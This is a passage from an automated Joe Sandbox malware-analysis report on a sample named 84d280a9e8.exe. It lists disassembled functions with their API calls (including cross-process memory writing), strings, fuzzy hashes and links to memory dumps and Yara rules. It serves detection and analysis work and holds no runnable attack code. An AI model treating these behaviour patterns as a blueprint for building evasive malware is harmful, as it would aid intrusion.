Opcode ID: 5688f22c3733e48df28abbfbfad9ad8272e89e5be762e96b655c1fda8af4d39f
Instruction ID: f2fe3b2d6480f26da4b515f6b238cc9a264c966f419b6e7a183bcae7ca8891a5
Opcode Fuzzy Hash: 5688f22c3733e48df28abbfbfad9ad8272e89e5be762e96b655c1fda8af4d39f
Instruction Fuzzy Hash: AF019279B4160ABBE6286914DD82FFA63DCDB21394F4084A0FD049A251F660EE50D3A8

Function 00B52DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00B4F2DE,00B53863,00BF1444,?,00B3FDF5,?,?,00B2A976,00000010,00BF1440,00B213FC,?,00B213C6), ref: 00B52DFD
_free.LIBCMT ref: 00B52E32
_free.LIBCMT ref: 00B52E59
SetLastError.KERNEL32(00000000,00B21129), ref: 00B52E66
SetLastError.KERNEL32(00000000,00B21129), ref: 00B52E6F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: ddabc749dda78b97f4d2a7dee9a9de7dd45abed555b6e5dc889a6538a1baaad2
Instruction ID: 43be4d439c40cfefa4357ca43bb9fbd2aa9f0e4b7a22eb51ec13de882dee647e
Opcode Fuzzy Hash: ddabc749dda78b97f4d2a7dee9a9de7dd45abed555b6e5dc889a6538a1baaad2
Instruction Fuzzy Hash: 8201F932107A0067C61267746C87F2B2AE9EFD37A7B2441E9FC21A3292EF709C0E4120

Function 00B8000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?,?,?,00B8035E), ref: 00B8002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?,?), ref: 00B80046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?,?), ref: 00B80054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?), ref: 00B80064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B7FF41,80070057,?,?), ref: 00B80070

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 3f7223a89fac5bfe4be3b37c28760883ab46c90d6f7ca01a57551fc74b6b92c8
Instruction ID: 40b82b2470fd5c3960fbb23cc6b7f9b8c0d0ec71067fe53775921a6d1134c22a
Opcode Fuzzy Hash: 3f7223a89fac5bfe4be3b37c28760883ab46c90d6f7ca01a57551fc74b6b92c8
Instruction Fuzzy Hash: E3017872610208EFDB51AF68EC44BAA7EEDEF44792F144264F905D7220EBB1DD44DBA0

Function 00B8E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00B8E997
QueryPerformanceFrequency.KERNEL32(?), ref: 00B8E9A5
Sleep.KERNEL32(00000000), ref: 00B8E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00B8E9B7
Sleep.KERNEL32 ref: 00B8E9F3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: a0545ee257742b3bf37a30742ce94585f519f34754dad122aaf29fcd815ccb94
Instruction ID: b3de9a4e333b7aefb648cc0c72d55434a9b8938cbbbb7530b224bdb7121bcb7e
Opcode Fuzzy Hash: a0545ee257742b3bf37a30742ce94585f519f34754dad122aaf29fcd815ccb94
Instruction Fuzzy Hash: 7D015731C01629DBCF00EBE8E859AEDBBB8FB08701F000686E552B2260CBB09550CBA1

Function 00B810F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B81114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B81120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B8112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B81136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B8114D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 62e763c12a545d233e42ea864c2a967f411701166b321f6190abf7f26daecceb
Instruction ID: 9ff6f7adaf6bec18b7bb00129bb1e8fdbcbffba2627243737b98976bf49767e9
Opcode Fuzzy Hash: 62e763c12a545d233e42ea864c2a967f411701166b321f6190abf7f26daecceb
Instruction Fuzzy Hash: 5A016D75101205BFDB119F69DC4DAAA3FAEEF85360B200455FA41E3360DE71DC00CB60

Function 00B80FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B80FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B80FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B80FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B80FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B81002

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 722c2e0a5d04da7607b1ce51c2e532d312577aeaf4dd616362e073d4096707dc
Instruction ID: 66c18836298f51871731989b8f7fc42c8d920f1da3e7361235e2d0e8298b06a5
Opcode Fuzzy Hash: 722c2e0a5d04da7607b1ce51c2e532d312577aeaf4dd616362e073d4096707dc
Instruction Fuzzy Hash: 5EF0A975201301ABDB21AFA89C49F563FADEF89762F600825FA05E7260CEB0DC40CA60

Function 00B81014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B8102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B81036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B81045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B8104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B81062

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 8eb03aa330e114da723fa0a52d80e76c9eac771a89d18fd8883ba6c6fff2f48c
Instruction ID: b6396b6a7fb3d03ab180a4cf1bc35f024d5170e0925223b307dfd78ef13c6f98
Opcode Fuzzy Hash: 8eb03aa330e114da723fa0a52d80e76c9eac771a89d18fd8883ba6c6fff2f48c
Instruction Fuzzy Hash: ACF04975201301ABDB21AFA8EC49F573FADEF89761F600925FA45E7260CEB0D841CA60

Function 00B9030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00B9017D,?,00B932FC,?,00000001,00B62592,?), ref: 00B90324
CloseHandle.KERNEL32(?,?,?,?,00B9017D,?,00B932FC,?,00000001,00B62592,?), ref: 00B90331
CloseHandle.KERNEL32(?,?,?,?,00B9017D,?,00B932FC,?,00000001,00B62592,?), ref: 00B9033E
CloseHandle.KERNEL32(?,?,?,?,00B9017D,?,00B932FC,?,00000001,00B62592,?), ref: 00B9034B
CloseHandle.KERNEL32(?,?,?,?,00B9017D,?,00B932FC,?,00000001,00B62592,?), ref: 00B90358
CloseHandle.KERNEL32(?,?,?,?,00B9017D,?,00B932FC,?,00000001,00B62592,?), ref: 00B90365

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ed560b97a90abf96535a8053e1039bb51da868f69294da7689944cef303f5b21
Instruction ID: ce21be9711a3eeaf06c1836cec97997260b35459c72de583666ddf94ac3f286f
Opcode Fuzzy Hash: ed560b97a90abf96535a8053e1039bb51da868f69294da7689944cef303f5b21
Instruction Fuzzy Hash: AF01EA72814B019FCB30AF6AD880802FBF9FF603053048A3FD19652930C3B0A988CF84

Function 00B5D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B5D752

Part of subcall function 00B529C8: HeapFree.KERNEL32(00000000,00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000), ref: 00B529DE
Part of subcall function 00B529C8: GetLastError.KERNEL32(00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000,00000000), ref: 00B529F0

_free.LIBCMT ref: 00B5D764
_free.LIBCMT ref: 00B5D776
_free.LIBCMT ref: 00B5D788
_free.LIBCMT ref: 00B5D79A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 80a049a91c520a93c44e882215d1ce9a135ceb20a176dd2b6f291486b422974f
Instruction ID: b004c5b9f7f3927e744e99b73d669f26c26901b1487d54e3ec6f7c9a625c0973
Opcode Fuzzy Hash: 80a049a91c520a93c44e882215d1ce9a135ceb20a176dd2b6f291486b422974f
Instruction Fuzzy Hash: D1F06232501248ABC635EB64F9C1E567FDDFB09312BA409D5F858EB602CB30FC848660

Function 00B85C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00B85C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00B85C6F
MessageBeep.USER32(00000000), ref: 00B85C87
KillTimer.USER32(?,0000040A), ref: 00B85CA3
EndDialog.USER32(?,00000001), ref: 00B85CBD

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 846e9453681f4a0b92e0014f8262ebe04dbaeefecd04b6945df0bd761edaeef3
Instruction ID: 6191a57d968da15026984b1391824d2fd379570758c806d8a8cc7e27acec6ddf
Opcode Fuzzy Hash: 846e9453681f4a0b92e0014f8262ebe04dbaeefecd04b6945df0bd761edaeef3
Instruction Fuzzy Hash: 06011270500B04ABEB31AB10DD4EFA67BF8FB04B05F041699A583A24E1DBF4A984CF90

Function 00B522A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B522BE

Part of subcall function 00B529C8: HeapFree.KERNEL32(00000000,00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000), ref: 00B529DE
Part of subcall function 00B529C8: GetLastError.KERNEL32(00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000,00000000), ref: 00B529F0

_free.LIBCMT ref: 00B522D0
_free.LIBCMT ref: 00B522E3
_free.LIBCMT ref: 00B522F4
_free.LIBCMT ref: 00B52305

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d92f90b19afcaee910c96a2324bc7a7bd935596bad337cc799ae9614ace829cf
Instruction ID: c11c73d400358a6a605ff297396d7f4d03b5e3dd148a1cb6cf1309ca96990009
Opcode Fuzzy Hash: d92f90b19afcaee910c96a2324bc7a7bd935596bad337cc799ae9614ace829cf
Instruction Fuzzy Hash: A3F054754121109F8612BF98BC419683FE4F729752B0009D6F810E7372CF314416DFE4

Function 00B395C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00B395D4
StrokeAndFillPath.GDI32(?,?,00B771F7,00000000,?,?,?), ref: 00B395F0
SelectObject.GDI32(?,00000000), ref: 00B39603
DeleteObject.GDI32 ref: 00B39616
StrokePath.GDI32(?), ref: 00B39631

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 584143de4d725f7c92eefafdcc05e5cd57d8ac0409efa74eff6ade1647e0f4fe
Instruction ID: f4d5ec9842c9e16706a3189db1e73dc04de2edd7488cbe71d879486bcf649298
Opcode Fuzzy Hash: 584143de4d725f7c92eefafdcc05e5cd57d8ac0409efa74eff6ade1647e0f4fe
Instruction Fuzzy Hash: 19F0F630006204EBDB12AF69ED187793FA5EB10322F148A54E865670F1CFF08992DFA0

Function 00B50F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00B510F9
__freea.LIBCMT ref: 00B51117

Part of subcall function 00B51537: _free.LIBCMT ref: 00B5154F

Strings

a/p, xrefs: 00B511DE
am/pm, xrefs: 00B5117A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 08fd5b049bf185a772d3619a1db1ed58713194cffbc773b2b3da949329e6d751
Instruction ID: b750e6728954accd62b554c9cbf30e29f1c488fc1276b0f0d98ab2f680483c72
Opcode Fuzzy Hash: 08fd5b049bf185a772d3619a1db1ed58713194cffbc773b2b3da949329e6d751
Instruction Fuzzy Hash: 92D10431900246EADB249F6CC8A5BFAB7F0EF05702F1849D9ED01AB650D3759D88CB65

Function 00BA7B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00B40242: EnterCriticalSection.KERNEL32(00BF070C,00BF1884,?,?,00B3198B,00BF2518,?,?,?,00B212F9,00000000), ref: 00B4024D
Part of subcall function 00B40242: LeaveCriticalSection.KERNEL32(00BF070C,?,00B3198B,00BF2518,?,?,?,00B212F9,00000000), ref: 00B4028A

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00B400A3: __onexit.LIBCMT ref: 00B400A9

__Init_thread_footer.LIBCMT ref: 00BA7BFB

Part of subcall function 00B401F8: EnterCriticalSection.KERNEL32(00BF070C,?,?,00B38747,00BF2514), ref: 00B40202
Part of subcall function 00B401F8: LeaveCriticalSection.KERNEL32(00BF070C,?,00B38747,00BF2514), ref: 00B40235

Strings

G, xrefs: 00BA7C7F
5, xrefs: 00BA7C78
Variable must be of type 'Object'., xrefs: 00BA7C3A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: b0da8ff41a920a46a40b81c5ce7e3b431a6a837aa27b02cf3b4fbff1e893f7e7
Instruction ID: bdf3e823a23ed13c0ee7592dea42882a0b5d731272b14ab868d4e9d01087f22b
Opcode Fuzzy Hash: b0da8ff41a920a46a40b81c5ce7e3b431a6a837aa27b02cf3b4fbff1e893f7e7
Instruction Fuzzy Hash: 6D916A71A4C209AFCB14EF54D8919BDBBF1EF4A300F1080D9F9469B2A2DB71AE45CB51

Function 00B82716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B821D0,?,?,00000034,00000800,?,00000034), ref: 00B8B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00B82760

Part of subcall function 00B8B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B821FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00B8B3F8

Part of subcall function 00B8B32A: GetWindowThreadProcessId.USER32(?,?), ref: 00B8B355
Part of subcall function 00B8B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B82194,00000034,?,?,00001004,00000000,00000000), ref: 00B8B365
Part of subcall function 00B8B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B82194,00000034,?,?,00001004,00000000,00000000), ref: 00B8B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B827CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B8281A

Strings

@, xrefs: 00B82832

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 770907099746735361cd653805b961d29035344c7509af468b473e010c2daa57
Instruction ID: e193aa1a98864ba96bc68ba0d3c7ce486580195da04f3606bd2111d1092653ce
Opcode Fuzzy Hash: 770907099746735361cd653805b961d29035344c7509af468b473e010c2daa57
Instruction Fuzzy Hash: 8841FA76900218AFDB10EBA4CD46EEEBBB8EF09700F104095FA55B7191DB706E45CBA1

Function 00B5172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe,00000104), ref: 00B51769
_free.LIBCMT ref: 00B51834
_free.LIBCMT ref: 00B5183E

Strings

C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe, xrefs: 00B51760, 00B51767, 00B51796, 00B517CE

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe
API String ID: 2506810119-2155251588
Opcode ID: 302ed7b2d3bf4f5d23cf70f813a5504dd4b297f8832e722911e92c6e4cd0197f
Instruction ID: ba94808e5cc33934c15ecfd893e2ced4964e753289e2845928eb7863eae76bd5
Opcode Fuzzy Hash: 302ed7b2d3bf4f5d23cf70f813a5504dd4b297f8832e722911e92c6e4cd0197f
Instruction Fuzzy Hash: 993143B5A00218EBDB21DB9D9885FAEBBFCEB89311F1445E6F80497211D6704E48CB90

Function 00B8C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00B8C306
DeleteMenu.USER32(?,00000007,00000000), ref: 00B8C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00BF1990,01095928), ref: 00B8C395

Strings

0, xrefs: 00B8C2DF

Memory Dump Source

